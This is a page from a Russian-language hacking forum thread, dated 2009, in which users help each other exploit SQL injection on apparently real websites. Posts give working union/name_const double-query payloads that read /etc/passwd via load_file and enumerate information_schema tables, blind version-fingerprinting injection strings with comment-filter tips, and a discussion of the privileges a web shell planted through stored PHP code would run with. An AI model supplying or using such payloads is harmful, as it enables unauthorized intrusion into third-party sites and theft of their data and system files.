ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #10241  
Старый 17.11.2009, 12:19
Аватар для M1ks
M1ks
Участник форума
Регистрация: 23.08.2007
Сообщений: 157
Провел на форуме:
1091601

Репутация: 19
Отправить сообщение для M1ks с помощью ICQ
По умолчанию

Есть инъекция, делаю запрос на load_file и ничего не выходит,
Цитата:
xek%'/**/union/**/select/**/*/**/from/**/(select/**/*/**/from/**/(select/**/name_const(substr(load_file('/etc/passwd'),1),1),name_const(substr(load_file('/etc/passwd'),1),1))a)b/*
Что делаю нетак? двойной запрос..

запрос на просмотр таблиц выглядит так:
Цитата:
xek%'/**/union/**/select/**/*/**/from/**/(select/**/*/**/from/**/(select/**/name_const((select/**/table_name/**/from/**/information_schema.tables/**/limit/**/0,1),1),name_const((select/**/table_name/**/from/**/information_schema.tables/**/limit/**/0,1),1))a)b/*

Последний раз редактировалось M1ks; 17.11.2009 в 12:23..
 
Ответить с цитированием

  #10242  
Старый 17.11.2009, 12:43
Аватар для Qwazar
Qwazar
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме:
10605912

Репутация: 4693


По умолчанию

M1ks, а таблицы то выводятся?
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..

Мой блог:http://qwazar.ru/.
 
Ответить с цитированием

  #10243  
Старый 17.11.2009, 12:47
Аватар для Qwazar
Qwazar
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме:
10605912

Репутация: 4693


По умолчанию

Значит прав нет. (FILE_PRIV = N ?)
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..

Мой блог:http://qwazar.ru/.
 
Ответить с цитированием

  #10244  
Старый 17.11.2009, 13:01
Аватар для Jokester
Jokester
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293

Репутация: 4915


По умолчанию

Цитата:
Сообщение от M1ks  
Что делаю нетак?
Ты нифига не читаешь. Даже мою подпись

двойной запрос, лоад_файл....

У меня возле компьютера стоит чашка с кофе, почему телефон не звонит, ведь сигареты кончились?
 
Ответить с цитированием

  #10245  
Старый 17.11.2009, 18:05
Аватар для Aртем
Aртем
Познающий
Регистрация: 18.10.2009
Сообщений: 68
Провел на форуме:
330834

Репутация: 90
По умолчанию

Собственно интересует вопрос по разграничению прав не веб-сервере.
Какие права присваиваются например веб-шеллу который исполняется по средствам например eval, т.е. например есть CMS через которую можно добавить какую-либо запись на сайт, и она записывается в БД к примеру так
Код:
----------------------------------------------
|  id   |     author	  |        text	     |
----------------------------------------------
|  22   |     joker1	  |    <?phpinfo()?> |
----------------------------------------------
ну и выводится так:
PHP код:
<html>
<head>
</head>
<body>
<?php
// запрос к БД который получение данных например 
// в массив и импортированный например extract() и вот на выходе имеется 
?>
<br>автор: <?php echo $id?>
<br>текст:</br>
<?php echo $text?>
</body>
</html>
ну или подобный вариант с eval только вывод будет немного иначе.

ну и соответственно что динамически присваивается id и доступен по адресу например index?id=[num]
Какие права будут у этого допустим веб-шелла, если как вы понимаете указать тот же system() или eval()?
Если например ему присвоются права index.php, то почему например на практике, это срабатывает не всегда, когда например у того же index.php права 777
 
Ответить с цитированием

  #10246  
Старый 17.11.2009, 19:54
Аватар для $n@ke
$n@ke
Постоянный
Регистрация: 18.09.2006
Сообщений: 867
Провел на форуме:
2805813

Репутация: 1396


По умолчанию

вобще-то:
права пользователя, от имени которого запущен веб-сервер.
Исключения - при использовании suexec и т.п.

Быть может ты хотел узнать кто будет владельцем файла и я не так истолковал твой вопрос?))
 
Ответить с цитированием

  #10247  
Старый 17.11.2009, 20:17
Аватар для gisTy
gisTy
Постоянный
Регистрация: 24.05.2008
Сообщений: 589
Провел на форуме:
3629857

Репутация: 504


По умолчанию

Цитата:
Сообщение от Aртем  
Какие права будут у этого допустим веб-шелла, если как вы понимаете указать тот же system() или eval()?
Если например ему присвоются права index.php, то почему например на практике, это срабатывает не всегда, когда например у того же index.php права 777
эм права у чего? ты о чем? у index.php нет прав. ты путаешь права пользователя на доступ(чтение, запись, исполнение) к файлам и аттрибуты файла показывающие каким пользователям разрешен доступ(чтение, запись, исполнение) к файлу.
Код:
man chmod
и вообще почитай как-нибудь книгу о *nix'ax.
как я понял вопрос - так я на него и ответил
 
Ответить с цитированием

  #10248  
Старый 17.11.2009, 22:13
Аватар для fng
fng
Новичок
Регистрация: 12.11.2009
Сообщений: 20
Провел на форуме:
32270

Репутация: 0
По умолчанию

Что скажите по этой ошибке? Похоже какая-то проблема со скобками?
Couldn't execute query: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'union select 1))' at line 1

так нормально
...id=36+and+1=0
так ошибка
...id=36+and+1=0+union+select+1
 
Ответить с цитированием

  #10249  
Старый 17.11.2009, 22:19
Аватар для Pashkela
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию

попробуй так:

...id=36+and+1=0+and+substring(version(),1,1)=5
...id=36+and+1=0+and+substring(version(),1,1)=4
...id=36+and+1=0+and+substring(version(),1,1)=3

плюс различные фильтры "--+", "/*", "#" (версию выясни для начала)
 
Ответить с цитированием

  #10250  
Старый 17.11.2009, 22:29
Аватар для fng
fng
Новичок
Регистрация: 12.11.2009
Сообщений: 20
Провел на форуме:
32270

Репутация: 0
По умолчанию

Цитата:
Сообщение от Pashkela  
попробуй так:

...id=36+and+1=0+and+substring(version(),1,1)=5
...id=36+and+1=0+and+substring(version(),1,1)=4
...id=36+and+1=0+and+substring(version(),1,1)=3

плюс различные фильтры "--+", "/*", "#" (версию выясни для начала)
тогда вот так...
id=36+and+substring(version(),1,1)=5

версия 5
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Форумы 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ